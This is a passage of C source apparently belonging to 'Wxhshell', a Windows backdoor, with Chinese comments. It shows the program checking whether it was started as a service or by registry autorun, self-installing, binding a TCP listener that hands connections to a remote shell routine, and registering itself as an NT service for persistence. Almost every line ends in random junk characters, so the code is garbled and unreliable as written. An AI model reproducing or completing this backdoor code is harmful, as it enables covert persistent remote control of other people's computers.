DWORD AffinityMask; 'uq#ai[5I
DWORD BasePriority; 4.IU!.Uo
ULONG UniqueProcessId; Bdj%hyW
ULONG InheritedFromUniqueProcessId; Y(44pA&oN
} PROCESS_BASIC_INFORMATION; x' .:&z
-!c"k}N=
PROCNTQSIP NtQueryInformationProcess; u%.$BD Hg
0{#8',*}m?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3E3HL7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,\qs4&
;]_o4e6\p
HANDLE hProcess; ?. D3'qv
PROCESS_BASIC_INFORMATION pbi; =zyC-;r!
5Kkdo!z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
<vXGi
if(NULL == hInst ) return 0; WJ_IuX51'
:]J Ye*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EY \H=@A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;\p KDPr
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H"qOSf{
Unsogd
if (!NtQueryInformationProcess) return 0; |Pg@M
{#)0EzV6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6 ~>FYX
if(!hProcess) return 0; e^O(e
kYLM&&h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jAud {m*T
/PLn+-
CloseHandle(hProcess); #lkM=lY'
(&!NC[n,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4._(|
if(hProcess==NULL) return 0; H/Llj.-jg
up'Tit
HMODULE hMod; fJ ,1Ef;Z
char procName[255]; j\m_o% 4
unsigned long cbNeeded; _)\c&.p]f
s>^dxF!+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e[8LmuIZ
u?9" jX
CloseHandle(hProcess); !%c'$f/
.-<k>9S7_
if(strstr(procName,"services")) return 1; // 以服务启动 IKi5 v~bE
B9wPU1
return 0; // 注册表启动 8cA~R-
} X=>=5'
%*\es7m}
// 主模块 S%Us5`sd
int StartWxhshell(LPSTR lpCmdLine) Z ,EvQ8i
{ / 4lvP
SOCKET wsl; *W
kIq>
BOOL val=TRUE; f"St&q>[s
int port=0; O)"gS!,
struct sockaddr_in door; 9D4NX<_
J&T.(
if(wscfg.ws_autoins) Install(); '{(UW.Awo
0pbtH8~
port=atoi(lpCmdLine); ;6!Pwb;hY
c_V;DcZ
if(port<=0) port=wscfg.ws_port; :hM/f
G>q(iF'
WSADATA data; Ud!4"<C_
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
7[.6axL
`P9XqWr
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8KRba4[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f/V
2f].
door.sin_family = AF_INET; 7P9=)$(EH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Uqu>'
door.sin_port = htons(port); ,dx3zBI
PK"c4>q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w08?DD]CDt
closesocket(wsl); C[%OkPR,H
return 1;
V<j.xd7
} #H0dZ.$b0
65Cg]Dt71
if(listen(wsl,2) == INVALID_SOCKET) { R%'^ gFk8
closesocket(wsl); [3@):8
return 1; A$w4PVS
} !U5Wr+83
Wxhshell(wsl); ,%)6jYHR w
WSACleanup(); T,VY.ep/
&cu lbcz
return 0; )4&cph';
-UD\;D?$
} qv@$ZLR
;
k)@DX
// 以NT服务方式启动 3:C oZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *Q,0W:~-
{ U\R}`l
DWORD status = 0; kP?KXT3y
DWORD specificError = 0xfffffff; et }T%~T
[AW"
D3
serviceStatus.dwServiceType = SERVICE_WIN32; ]Ei0d8Uo
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @U2qD
J6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B4mR9HMh
serviceStatus.dwWin32ExitCode = 0; V,G|k!!
serviceStatus.dwServiceSpecificExitCode = 0; QPfc(Z
serviceStatus.dwCheckPoint = 0; ^6_Cc
serviceStatus.dwWaitHint = 0; dX)GPC-D7
PZ*pQ=`
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %Jrt4sg[j-
if (hServiceStatusHandle==0) return; Mv6-|O
dS<C@(
status = GetLastError(); $t6e2=7
if (status!=NO_ERROR) ^/U|2'$'>E
{ 8f3vjK'
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?'<nx{!c
serviceStatus.dwCheckPoint = 0; :at$HCaK
serviceStatus.dwWaitHint = 0; zNIsf"
serviceStatus.dwWin32ExitCode = status; 1SR+m>pL
serviceStatus.dwServiceSpecificExitCode = specificError; r}jGUe}d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k0Uyf~p~
return; !H}vu]R
} iV eC=^1
.3MIcj=p
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Y>Bex_v
serviceStatus.dwCheckPoint = 0; 7IjQi=#:
serviceStatus.dwWaitHint = 0; )-`;1ca)s
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >J>b>SU=-
} yn/rW$
%,k][V
// 处理NT服务事件,比如:启动、停止 ^)W[l!!<)
VOID WINAPI NTServiceHandler(DWORD fdwControl) ()3O=!
{ iX4Iu3
switch(fdwControl) z~>pVs
{ |K|h+fgG6*
case SERVICE_CONTROL_STOP: g'|MA~4yB
serviceStatus.dwWin32ExitCode = 0;
3dRr/Ilc
serviceStatus.dwCurrentState = SERVICE_STOPPED; cJL'$`gWf
serviceStatus.dwCheckPoint = 0; 4`8<
serviceStatus.dwWaitHint = 0; 14"J d\M8
{ ](^(=%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ix(><#P
} 6O}`i>/6M
return; J|w)&bV
case SERVICE_CONTROL_PAUSE: m:/wG&
!
serviceStatus.dwCurrentState = SERVICE_PAUSED; MC{
2X
break; 44F`$.v96
case SERVICE_CONTROL_CONTINUE: *>+,(1Fz
serviceStatus.dwCurrentState = SERVICE_RUNNING; h`H,a7
break; +fnK/%b
case SERVICE_CONTROL_INTERROGATE: V.{H9n]IO
break; ;ji pe3LU
}; xQ'2BAEa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4sP2g&